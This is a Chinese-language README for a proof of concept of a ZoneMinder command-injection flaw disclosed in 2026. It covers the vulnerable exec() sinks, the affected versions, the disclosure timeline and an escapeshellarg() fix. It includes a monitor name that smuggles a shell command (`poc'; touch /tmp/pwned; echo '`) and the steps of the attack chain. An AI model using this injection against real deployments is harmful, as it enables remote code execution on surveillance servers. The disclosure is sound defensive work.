investigato/zoneminder-rce-poc
GitHub: investigato/zoneminder-rce-poc
ZoneMinder 视频监控系统事件导出功能中 OS 命令注入漏洞的完整概念验证项目,演示了通过恶意监视器名称实现远程代码执行。
Stars: 1 | Forks: 0
# 拭目以待
ZoneMinder 事件导出功能(`web/includes/download_functions.php`)中 OS 命令注入漏洞的概念验证。
监视器名称通过手动单引号包裹的方式直接插入到 shell 命令中,而不是使用 `escapeshellarg()`。能够创建监视器的攻击者可以注入任意 shell 命令,当任何用户触发事件导出时,这些命令将以 `www-data` 用户(或运行该进程的任何用户)的权限执行。
## 根本原因
- 2023 年 10 月 4 日的提交 `44c5c3c`:这是引入 `download_functions.php` 文件的地方。提交信息为“引入新的下载模式,将每个监视器的事件视频合并为一个文件”。漏洞代码存在于此次提交中,但需要管理员先创建监视器。
- 2024 年 1 月 2 日的提交 `2d49e93`:“为监视器引入创建权限,以便特定用户可以编辑现有监视器,但不能创建新监视器。”情况在此发生了一些变化。现在,仅具有 `Monitors=Create` 权限的用户即可设置用于攻击的监视器名称,而任何具有导出权限的用户都可以触发它。
受影响版本:>= 1.37.48(包含 SQL 迁移更改)且 <= 1.38.1
1.36.x 分支不受影响。
## 工作原理
两个用户。两种权限级别。一个 shell。
- **medpriv** 具有创建监视器的权限(`Monitors=Create`),如果已有监视器存在,则具有编辑权限(`Monitors=Edit`)。
- **lowpriv** 仅具有触发事件导出的最低权限。在不知情的情况下扣动扳机。
事件记录无需手动创建。ZoneMinder 是一个摄像头系统……它会在摄像头运行时自动创建事件记录。在实际部署中,设置步骤是:创建监视器,然后离开。
## 两个接收点,一个来源
未经处理的监视器名称会传递给两个独立的 `exec()` 调用:
**第 126 行 | ffmpeg:**
```
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);
```
**第 150 行 | tar/zip:**
```
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;
```
无论使用何种导出格式,都可以通过同一个精心构造的监视器名称到达这两处代码。
### 前置条件
- Docker
- Docker Compose
### 用法
```
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# 等待 ZoneMinder 完成初始化(约30秒)
uv run poc.py
```
`init.sql` 在启用了身份验证的数据库中初始化了两个用户:
- `medpriv`:拥有创建监视器的权限(出于演示效率的考虑,也赋予了创建事件的权限,但这在生产环境中不是必须的)
- `lowpriv`:仅拥有事件导出权限
`uv run poc.py` 运行完整的攻击链:
1. `medpriv` 通过 API 进行身份验证,并创建一个名为 `poc'; touch /tmp/pwned; echo '` 的监视器
2. `medpriv` 创建一个事件记录以加快演示速度(在生产环境中,ZoneMinder 会自动执行此操作)
3. `lowpriv` 进行身份验证并触发事件导出
4. 脚本检查容器内的 `/tmp/pwned` 并打印结果
预期输出:
```
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1
Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun 6 18:32 /tmp/pwned
```
### CVSS
**8.4 (高危)**:`AV:N/AC:L/PR:R/UI:R/S:C/C:H/I:H/A:H`
我们可以争论是 `PR:L` 还是 `PR:R`,但无论如何,这都是一个广泛使用的开源项目中的高危远程代码执行漏洞。攻击面相当广泛,而且触发漏洞的用户与设置监视器名称的用户可以不同,这一事实为漏洞的可利用性增加了有趣的变数。如果我们采用 `PR:L`,评分将达到 9.0(严重)。
无论如何,最起码使用 `escapeshellarg()` 都没有任何成本。
### 披露
- 03/08/2026:通过 ZoneMinder 的安全联系邮箱报告
- 03/09/2026:在提交 `b3a7c05` 中修复
- 06/08/2026:公开披露
### 修复
至少在两个注入点应用 `escapeshellarg()`:
```
// Line 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';
// Line 150
$command .= ' '.escapeshellarg($mergedFileName);
```
`generateFileList()` 中的第 116 行和 211 行具有相同的模式。
*发现者 ([@investigato](https://github.com/investigato))*
*完整分析:[scriptkittens.com](https://www.scriptkittens.com/blog/two-sinks-one-shell)*
标签:Go语言工具, PoC, ZoneMinder, 命令注入, 多线程, 暴力破解, 版权保护, 编程工具, 请求拦截, 远程代码执行, 逆向工具